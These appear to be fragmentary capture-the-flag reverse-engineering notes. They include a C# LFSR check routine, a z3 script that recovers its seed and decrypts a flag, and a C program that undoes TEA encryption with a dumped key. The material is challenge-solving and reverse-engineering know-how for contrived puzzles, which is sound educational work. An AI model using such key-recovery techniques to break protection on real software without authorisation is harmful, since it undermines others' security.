open(r'dec.exe', "wb").write(out[0x13EB:])
分析程序
c# check
// Token: 0x06000001 RID: 1 RVA: 0x00002050 File Offset: 0x00000250
private static void Check1(ulong x, ulong y, ulong z, byte[] KeyStream)
{
int num = -1;
for (int i = 0; i < 320; i++)
{
x = (((x >> 29 ^ x >> 28 ^ x >> 25 ^ x >> 23) & 1UL) | x << 1);
y = (((y >> 30 ^ y >> 27) & 1UL) | y << 1);
z = (((z >> 31 ^ z >> 30 ^ z >> 29 ^ z >> 28 ^ z >> 26 ^ z >> 24) & 1UL) | z << 1);
bool flag = i % 8 == 0;
if (flag)
{
num++;
}
KeyStream[num] = (byte)(
(long)((long)KeyStream[num] << 1)
| (long)(
(ulong)(
(uint)(
(z >> 32 & 1UL & (x >> 30 & 1UL)) ^ (((z >> 32 & 1UL) ^ 1UL) & (y >> 31 & 1UL))
)
)
)
);
}
}
z3 solved
from z3 import *
sol = Solver()
xorkey = [60, 100, 36, 86, 51, 251, 167, 108, 116, 245, 207, 223, 40, 103, 34, 62, 22, 251, 227]
cmp = [101, 5, 80, 213, 163, 26, 59, 38, 19, 6, 173, 189, 198, 166, 140, 183, 42, 247, 223, 24, 106, 20, 145, 37, 24, 7, 22, 191, 110, 179, 227, 5, 62, 9, 13, 17, 65, 22, 37, 5]
x = BitVec("x", 63)
y = BitVec("y", 63)
z = BitVec("z", 63)
dup = [x, y, z]
num = -1
arr = [BitVecVal(0, 63) for i in range(len(cmp))]
for i in range(320):
x = (((x >> 29 ^ x >> 28 ^ x >> 25 ^ x >> 23) & 1) | x << 1)
y = (((y >> 30 ^ y >> 27) & 1) | y << 1)
z = (((z >> 31 ^ z >> 30 ^ z >> 29 ^ z >> 28 ^ z >> 26 ^ z >> 24) & 1) | z << 1)
if i % 8 == 0:
num += 1
arr[num] = ((arr[num] << 1) | (((z >> 32 & 1 & (x >> 30 & 1)) ^ (((z >> 32 & 1) ^ 1) & (y >> 31 & 1))) & 0xffffffff) & 0xff)
for i in range(len(cmp)):
sol.add(cmp[i] == arr[i])
assert sol.check() == sat
sol = sol.model()
fake = [sol.eval(i).as_long() & 0xffffffff for i in dup]
Key = [0] * 12
for i in range(3):
for j in range(4):
Key[i * 4 + j] = fake[i] >> j * 8 & 255
print(bytearray([(xorkey[i] ^ Key[i % len(Key)]) & 255 for i in range(len(xorkey))]))
easyapk
MBA obfuscate
tea algorithm
dump key then decrypt
#include <cstdio>
#include <cstdint>
#include <windows.h>
void decrypt (uint32_t* v, uint32_t* k) {
uint32_t v0=v[0], v1=v[1], sum=0xC6EF3720, i; /* set up */
uint32_t delta=0x9e3779b9; /* a key schedule constant */
uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3]; /* cache key */
for (i=0; i<32; i++) { /* basic cycle start */
v1 -= ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3);
v0 -= ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1);
sum -= delta;
} /* end cycle */
v[0]=v0; v[1]=v1;
}
int main() {
unsigned char byte_1400032F0[32+1] = {
0x84, 0xAA, 0x94, 0x5D, 0xA0, 0x24, 0xFA, 0x14, 0x10, 0x02, 0x56, 0x2B, 0x49, 0xDD, 0x9B, 0xB6,
0xD4, 0xEA, 0xEF, 0xAA, 0xC6, 0xF4, 0x8C, 0x4B, 0xC9, 0xB8, 0x7F, 0x09, 0xD2, 0x51, 0xEC, 0xB5 };
uint32_t key[4] = {
0x33323130, 0x37363534, 0x62613938, 0x66656463
};
uint32_t *in = (uint32_t*) byte_1400032F0;
for (int i = 0; i < 4; ++i) {
decrypt(in+i*2, key);
}
for (int i = 0; i < 8; ++i) {
printf("%08X ", in[i]);
}
printf("\n");
printf("%s\n", byte_1400032F0);
}
ROT13